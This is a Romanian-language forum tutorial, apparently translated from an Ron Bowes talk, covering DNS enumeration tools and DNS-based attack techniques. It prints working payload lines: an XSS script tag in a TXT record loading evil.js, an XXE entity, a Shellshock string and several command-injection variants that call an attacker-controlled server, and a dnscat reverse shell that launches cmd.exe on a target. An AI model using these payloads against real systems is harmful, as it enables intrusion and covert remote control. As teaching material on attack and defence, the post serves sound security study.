bc-vnt Posted February 28, 2015 Report Posted February 28, 2015 (edited) Domeniu Nume Sistem ( DNS ), este unul din instrumentele pe care le folosim foarte des pentru a naviga pe internet, acesta fiind folosit pentru a transforma o adresa WEB sau un HOSTNAME cu formatul www.numesite.com.it.ro.net.ecc intr-o adresa IP cu formatul numeric nnn.nnn.nnn.nnn . Cum o sa vedem in continuare, DNS-urile au mult mai multe functii, iar scopul acestui tutorial este acela de a vedea, cum putem efectua ENUMERARI DI DESCOPERIRI, adica cum sa citim adresele IP asociate unui domeniu si sa descoperim sub-domeniile conectate acestuia .Tipuri de DNSInainte de a incepe cu practica, este necesar sa clarificam, care sunt principalele tipuri de DNS si campul lor de utilitate Tip de DNS || DescriereA || Transofrma un HOSTNAME intr-o adresa IPv4AAAA || Transforma un HOSTNAME intr-o adresa IPv6CNAME || Transforma un HOSTNAME intr-un alt HOSTNAMEMX || Ne da adresa de E-mail Exchange folosita pentru trimiterea de e-mailNS || Ne da adresa NAMESERVER folosita pentru gestionarea "recordDNS"TXT || Ne ofera un sir ( string ) SRV || Service Record, folosit pentru a specifica un tip de serviciu, poate contine HOSTNAME-ul si PORT-ul pe care serviuciu lucreaza, foarte des folosit pentru VoIP PTR || Pointer Record, folosit pentru a obtine un HOSTNAME pe IP Pe pagina de Wikipedia, este disponibila lista completa tuturor tipurilor de DNS record .Enumerare si descoperire Tool-ul care ne permite sa facem chemari de tip DNS ( request ) este dig . Sa vedem cum putem sa chemam tipul de DNS " A " al domeniului HTML.it, folosind serverul DNS google ( 8.8.8.8 ) :dig @8.8.8.8 -t A html.itDar daca vom vrea sa obtinem toate topurile de DNS record, fara sa specificam ce vrem pas cu pas, vom folosii : dig @8.8.8.8 -t ANY html.itInformatiile primite de la dig, pot fii prea putine si incomplete, putem insa sa obtinem mai multe informatii folosind dnsdict6 .dnsdict6 -4 -d -S html.itComenzile precendente : Paramentrul " -4 ", efectueaza enumerarea si pe protocolul IPv4 Paramentrul " -d ", ne arata informatii si indrumari IPv6Paramentrul " -S ", cere efectuarea enumerari pe tipul de DNS SRV dnsdict6 contine default un dictionar de aproximativ 1500 de cuvinte cheie, care sunt utilizate ( cum se vede in iesire precendenta ( output )), pentru a gasii domenii de nivelul 3 ( numite sub-domenii ) . Este posibil daca vrem sa specificam un dictionar extern .dnsdict6 -4 -d -S html.it /home/simone/dizionari/dns_presonal.txtAcum ca am obtinut o lista mai mult sau mai putin completa de sub-domenii putem sa trecem la folosire de " dnsenum ", o comanda care in afara ca probeaza din dictionar cuvintele cheie, efectueaza o cautare direct pe Google, pentru a ne da rezultate mult mai exacte .dnsenum --dnsserver 8.8.8.8 --enum html.itComenzile precendente :Parametrul " -dnsserver ", specifica pe care server sa mergem si sa efectual request-urile Parametrul " -enum ", porneste varie tipuri de enumerare, dintre care, dictionar, cautare Google si rezultate Whols .Pe langa toate astea, este posibil sa obtinem o lista cu sub-domenii cu ajutorul Google ( excluzand rezultatele care contin WWW, utilizand stringul ca in exemplu : site:html.it -wwwIncest puct in care suntem ajunsi avem mult mai multe informatii despre domeniul pe care il analizam . Putem strange acum cuvintele cheie pe care le-am folosit, pentru a proteja domeniul de atacurile de tip " Man-in-the-Middle" sau transferuri frauduloase . Acest sistem de protejare se numeste DNSSEC .dnsrecon -d verisigninc.comParamentrul " -d ", ne permite sa specificam domeniul asupra caruia vrem sa efectual enumerarea .Acum, avem destule informatii pentru a face descoperirea ( discovery ) : este vorba de procesul de cautare prin adresele IP ( vecine ), cautand alte nume DNS, care pot face referire la tinta noastra ( target ) .dnsrecon -r 151.1.244.200/24Parametrul " -r ", efectueaza un " Reverse Lookup " . Range-ul ( Gama ), este specificata cu un netmask, este request-ul care este trimis serverului DNS de tip PTR .Pentru a face reversing adreselor IPv6, putem folosii dnsrevenum6 :dnsrevenum6 8.8.8.8 2001:41d0:1:ad64:1::/48In precedenta comanda, primul parametru este adressa serverului DNS ( in acest caz Google ) si al doilea parametru este range-ul, specificat cu netmask /48, al adresei IPv6 .Toate informatiile adunate, provin din servicii publice, deci sunt consultabile de oricine, nu am facut nici o ilegalitate pe durata procesului de enumerare si descoperire .DNS : Functionarea si verificarea acestuia de vulnerabilitati Parcursul unui request DNS .Imaginea de mai sus, a fost selectata din prezentarea tinuta de Ron Bowes ( angajat Google ), tinuta la DerbyCon 2014, unde explica exact cum functioneaza un request DNS .Primul dispozitiv pe care il vom interoga va fii router-ul nostru . In cazul in care nu s-au facut request-uri pana acum, request-ul va ajunge la serverul DNS configurat in internul router-ului .Daca nici Google nu este abil pentru a rezolva adresa, va face intrebari root-serverelor (servere care sunt responsabile pentru fiecare domeniu de nivel 1 in parte ) .Daca nici aceste ultime masuri nu gasesc raspunsul, vor face un tur de request-uri la autohoritative server, care este un server DNS sub controlul nostru .In acest mod vom putea raspunde originalului request DNS cu valoarea aleasa de noi . Trebuie sa stim sa serviciul DNS este lasat deschis in majoritatea parilor de server, daca nu ar fi asa, nu ar mai exista posibilitatea ca serverul sa comunice cu toti la nivel global . Acesta ne permite sa comunicam cu serverul, reusind sa trecem peste eventuali Firewall sau Intrusion Prevention System ( IPS ) .Noi metode de atac folosind DNS-uri, verificarea de vulnerabilitati Intr-un assessment in blackbox este greu sa intelegem cum datele vin in internul sistemului . Cu ajutorul DNS-ului putem sa urmarim sau cel putin sa intelegem daca datele noastre sunt acceptate de terzi .Cross-Site Scripting ( XSS ) In perioada 2010 si 2012 au fost efectuate teste pe trei mari portale de Whols surprinzand, ele fiind vulnerabile atacurilor XSS, atacatorul crease un record DNS de tip TXT cu un cod similiar acestuia .<script src="http://siteulnostru/evil.js"></script>Folosind alte tipuri de DNS, cum ar fi, CNAME, MX sau PTR, ar fi fost mult mai greu, vazand ca tipurile de record precedente nu permit folosirea de spatii sau ghilimele ca in exemplu .<script/src='http://siteulnostru/evil.js"></script>Atacatorul a reusit sa injecteze un cod malitios permanent, care putea afecta orice vizitator .SQL injectionExista multe functii PHP sau ASP, care permit sa preluam valoarea unui record DNS . Aceste date pot fii folosite in continuare si utilizate intr-un query SQL fara a fi filtrat . Sa vedem cum putem exploata acest tip de vulnerabilitate, folosindune de un exemplu dat de Ron Bowse facut in PHP .Atacatorul are posibilitatea de a modifica query-ul SQL, obtinand parola unui alt user, utilizand un record DNS de tip TXT ca in exemplu .Acesta fiind un singur exemplu unde utilizatorul stie codul sursa al aplicatiei . Intr-un caz real este greu sa afli adevaratul query SQL daca nu stii cum a fost scris .XML External Entity ( XXE )Putem verifica daca un sistem este vulnerabil XXE introducand in internul fisierului sau a query XML, un cod ca cel ce urmeaza : ]<!ENTITY xxe SYSTEM "http://notexistingname.ourserver.org" >]><user>&xxe;</user>Daca vom primii pe serverul nostru un request de rezolutie DNS pentru " notexistingname ", vom stii ca sistemul este vulnerabil actiunilor externe . In acest punct ajunsi putem sa incepem sa adunam fisiere locale, cum ar fii /etc/passwd .ShellShockUna dintre metodele de invazie pentru a verifica prezenta unui bug Bash ( ShellShock ), este folosirea rezolutiei DNS cu ajutorul nslookup, comanda recunoscuta pe Windows, Linux si Mac . Se poate imposta un user-agent si sa asteptam ca vin request-urile .() { test;};nslookup shellshocked.ourserver.orgDaca vom primii pe serverul nostru un request de rezolutie DNS pentru " shellshocked ", vom sti ca aplicatia web foloseste un script cu o versiune vulnerabila de Bash . Putem deci sa executam orice alta comanda in locul simplei nslookup .Remote command execution ( RCE )Ca in exemplul de Shellshock putem executa nslookup, pentru a verifica vulnerabilitatile de tip RCE, pentru a face asta sunt o gama larga de trucuri ca in exemplu : ;nslookup shell.ourserver.org`nslookup shell.ourserver.org`|nslookup shell.ourserver.org$(nslookup shell.ourserver.org)Ca in exemplele precedente, cand vom primi un request de rezolutie pentru " shell ", va insemna ca am verificat vulnerabilitatea si putem incepe atacul .DNS : Atac post-verificareNoi metode de atac folosind DNS-uri, post-verificareDupa ce am verificat ca unul dintre atacurile precendent a functionat, putem in continuare sa folosim serviciul DNS pentru a mentine un profil low fara a face prea mult " zgomot " pe reteaua tintei noastre . Vom aveam nevoie de un tool numit dnscat, prezent in internul nbtool, poate fii obtinul prin GitHub .dnscat --listen -p 53Comanda precedenta : " -listen ", deschide dnscat in modul server ( ascultare )" -p ", identifica port-ul pe care va face " listening " . 53 fiind default, acela al serviciului DNS Acum putem sa deschidem pe masina tintei, dnscat ca si client, care va reintoarce ca shell de comenzi de windows ( cmd.exe ) .dnscat --dns virtualmachine1 -e cmd.exeAici : " -dns ", identifica IP-ul sau hostname-ul masinii pe care este pornit dnscat in modalitatea server." -exec ", porneste promp-ul de comnezi windows Iar acesta in schimb este vizualul serverului .Tot ce este scris si citit de dnscat, trece prin queryDNS, asa cum putem vedea explorand cu Wireshark :Concluzii Am vazut cum sa folosim si sa abuzam de un serviciu care a existat mereu inca din primi ani '80 si pe care tot internetul se bazeaza . Tutorialul ne arata cum este posibil sa obtinem informatii facand query-uri de tip DNS si expoatarea unui canal de comunicare greu filtrat .Multe metode de recunoastere si atac prezente in acet tutorial sunt ramificate din prezentarea lui Ron Bowse .Videoul urmator, este o demonstratie de atac XSS majoritatii site-urilor Whols . Sursa Edited February 28, 2015 by bc-vnt Quote